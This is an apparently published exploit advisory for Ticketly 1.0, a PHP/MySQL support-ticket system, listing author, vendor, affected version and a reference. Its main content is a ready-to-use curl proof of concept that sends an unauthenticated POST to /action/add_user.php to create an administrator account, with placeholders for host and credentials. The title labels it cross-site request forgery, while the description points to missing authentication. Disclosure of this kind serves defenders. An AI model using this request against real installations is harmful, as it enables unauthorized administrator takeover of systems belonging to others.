Ticketly 1.0 Cross Site Request Forgery

`# Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)  
# Exploit Author: Javier Olmedo  
# Website: https://hackpuntes.com  
# Date: 2018-11-19  
# Google Dork: N/A  
# Vendor: Abisoft (https://abisoftgt.net)  
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql  
# Affected Version: 1.0  
# Patched Version: unpatched  
# Category: Web Application  
# Platform: Windows & Ubuntu  
# Tested on: Win10x64 & Kali Linux  
# CVE: N/A  
# 4. References:  
# https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/  
  
# 1. Technical Description:  
# Ticketly version 1.0 are affected by a privilege escalation vulnerability,  
# an attacker could create an administrator user account by sending a POST  
# request to the resource /action/add_user.php without authentication.  
  
# 2. Proof Of Concept (PoC):  
# Send request curl:  
curl -i -s -k -X $'POST' \  
-H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \  
--data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \  
$'http://[PATH]/action/add_user.php'  
  
`